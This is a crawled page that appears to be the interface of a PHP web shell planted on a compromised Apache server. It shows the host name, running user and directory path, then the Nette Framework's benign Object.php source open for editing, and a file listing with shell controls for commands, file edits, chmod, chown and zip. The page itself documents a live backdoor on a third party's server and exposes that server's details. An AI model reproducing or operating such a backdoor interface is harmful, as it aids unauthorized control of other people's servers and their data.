TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
www
api
1
root
vendor
nette
utils
src
Utils
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/www/api/1/root/vendor/nette/utils/src/Utils/Object.php
<?php /** * This file is part of the Nette Framework (https://nette.org) * Copyright (c) 2004 David Grudl (https://davidgrudl.com) */ namespace Nette; use Nette; /** * Nette\Object is the ultimate ancestor of all instantiable classes. * * It defines some handful methods and enhances object core of PHP: * - access to undeclared members throws exceptions * - support for conventional properties with getters and setters * - support for event raising functionality * - ability to add new methods to class (extension methods) * * Properties is a syntactic sugar which allows access public getter and setter * methods as normal object variables. A property is defined by a getter method * or setter method (no setter method means read-only property). * <code> * $val = $obj->label; // equivalent to $val = $obj->getLabel(); * $obj->label = 'Nette'; // equivalent to $obj->setLabel('Nette'); * </code> * Property names are case-sensitive, and they are written in the camelCaps * or PascalCaps. * * Event functionality is provided by declaration of property named 'on{Something}' * Multiple handlers are allowed. * <code> * public $onClick; // declaration in class * $this->onClick[] = 'callback'; // attaching event handler * if (!empty($this->onClick)) ... // are there any handlers? * $this->onClick($sender, $arg); // raises the event with arguments * </code> * * Adding method to class (i.e. to all instances) works similar to JavaScript * prototype property. The syntax for adding a new method is: * <code> * MyClass::extensionMethod('newMethod', function (MyClass $obj, $arg, ...) { ... }); * $obj = new MyClass; * $obj->newMethod($x); * </code> * * @property-read Nette\Reflection\ClassType|\ReflectionClass $reflection */ abstract class Object { /** * Access to reflection. * @return Nette\Reflection\ClassType|\ReflectionClass */ public static function getReflection() { $class = class_exists('Nette\Reflection\ClassType') ? 'Nette\Reflection\ClassType' : 'ReflectionClass'; return new $class(get_called_class()); } /** * Call to undefined method. * @param string method name * @param array arguments * @return mixed * @throws MemberAccessException */ public function __call($name, $args) { return Nette\Utils\ObjectMixin::call($this, $name, $args); } /** * Call to undefined static method. * @param string method name (in lower case!) * @param array arguments * @return mixed * @throws MemberAccessException */ public static function __callStatic($name, $args) { return Nette\Utils\ObjectMixin::callStatic(get_called_class(), $name, $args); } /** * Adding method to class. * @param string method name * @param callable * @return mixed */ public static function extensionMethod($name, $callback = NULL) { if (strpos($name, '::') === FALSE) { $class = get_called_class(); } else { list($class, $name) = explode('::', $name); $rc = new \ReflectionClass($class); $class = $rc->getName(); } if ($callback === NULL) { return Nette\Utils\ObjectMixin::getExtensionMethod($class, $name); } else { Nette\Utils\ObjectMixin::setExtensionMethod($class, $name, $callback); } } /** * Returns property value. Do not call directly. * @param string property name * @return mixed property value * @throws MemberAccessException if the property is not defined. */ public function &__get($name) { return Nette\Utils\ObjectMixin::get($this, $name); } /** * Sets value of a property. Do not call directly. * @param string property name * @param mixed property value * @return void * @throws MemberAccessException if the property is not defined or is read-only */ public function __set($name, $value) { Nette\Utils\ObjectMixin::set($this, $name, $value); } /** * Is property defined? * @param string property name * @return bool */ public function __isset($name) { return Nette\Utils\ObjectMixin::has($this, $name); } /** * Access to undeclared property. * @param string property name * @return void * @throws MemberAccessException */ public function __unset($name) { Nette\Utils\ObjectMixin::remove($this, $name); } }
Crotin
Name
Size
Permissions
Modified
User/Group
Arrays.php
5930
0644
2016-01-11 22:52:51
Unknown/Unknown
ArrayList.php
1943
0644
2016-01-11 22:52:51
Unknown/Unknown
Paginator.php
4030
0644
2018-07-10 17:51:50
Unknown/Unknown
ITranslator.php
401
0644
2016-01-11 22:52:51
Unknown/Unknown
Object.php
4275
0644
2018-07-10 17:51:50
Unknown/Unknown
Html.php
12613
0644
2018-07-10 17:51:50
Unknown/Unknown
exceptions.php
2974
0644
2016-01-11 22:52:51
Unknown/Unknown
Strings.php
15635
0644
2016-01-11 22:52:51
Unknown/Unknown
Callback.php
4937
0644
2016-01-11 22:52:50
Unknown/Unknown
ObjectMixin.php
13170
0644
2016-01-11 22:52:51
Unknown/Unknown
FileSystem.php
4165
0644
2018-07-10 17:51:50
Unknown/Unknown
IHtmlString.php
260
0644
2016-01-11 22:52:50
Unknown/Unknown
ArrayHash.php
1633
0644
2018-07-10 17:51:50
Unknown/Unknown
DateTime.php
2524
0644
2018-07-10 17:51:50
Unknown/Unknown
Random.php
2155
0644
2016-01-11 22:52:50
Unknown/Unknown
Validators.php
7665
0644
2016-01-11 22:52:50
Unknown/Unknown
Image.php
18633
0644
2018-07-10 17:51:49
Unknown/Unknown
Json.php
3010
0644
2016-01-11 22:52:51
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin